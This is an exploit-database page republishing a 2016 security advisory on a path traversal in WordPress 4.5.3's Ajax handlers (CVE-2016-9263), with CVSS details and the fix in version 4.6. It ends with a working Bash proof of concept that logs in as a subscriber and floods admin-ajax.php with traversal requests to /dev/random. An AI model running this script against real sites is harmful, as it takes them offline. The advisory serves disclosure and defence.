Exploitalert - Database of Exploits

WordPress 4.5.3 Core Ajax Handlers Path Traversal

CVE	Category	Price	Severity
CVE-2016-9263	CWE-22	Not specified	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2016-08-22

CPE
cpe:cpe:/a:wordpress:wordpress:4.5.3

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2016080201

WordPress 4.5.3 Core Ajax Handlers Path Traversal------------------------------------------------------------------------ Path traversal vulnerability in WordPress Core Ajax handlers ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A path traversal vulnerability was found in the Core Ajax handlers of the WordPress Admin API. This issue can (potentially) be used by an authenticated user (Subscriber) to create a denial of service condition of an affected WordPress site. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160712-0036 ------------------------------------------------------------------------ See also ------------------------------------------------------------------------ #37490 - Improve capability checks in wp_ajax_update_plugin() and wp_ajax_delete_plugin() ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on the WordPress version 4.5.3. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ WordPress version 4.6 mitigates this vulnerability by moving the CSRF check to the top of the affected method(s). ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html Proof of concept The following Bash script can be used to trigger the denial of service condition. #!/bin/bash target="http://<target>" username="subscriber" password="password" cookiejar=$(mktemp) # login curl --cookie-jar "$cookiejar" --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" "$target/wp-login.php" >/dev/null 2>&1 # exhaust apache for i in `seq 1 1000` do curl --cookie "$cookiejar" --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" "$target/wp-admin/admin-ajax.php" >/dev/null 2>&1 & done rm "$cookiejar" ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.

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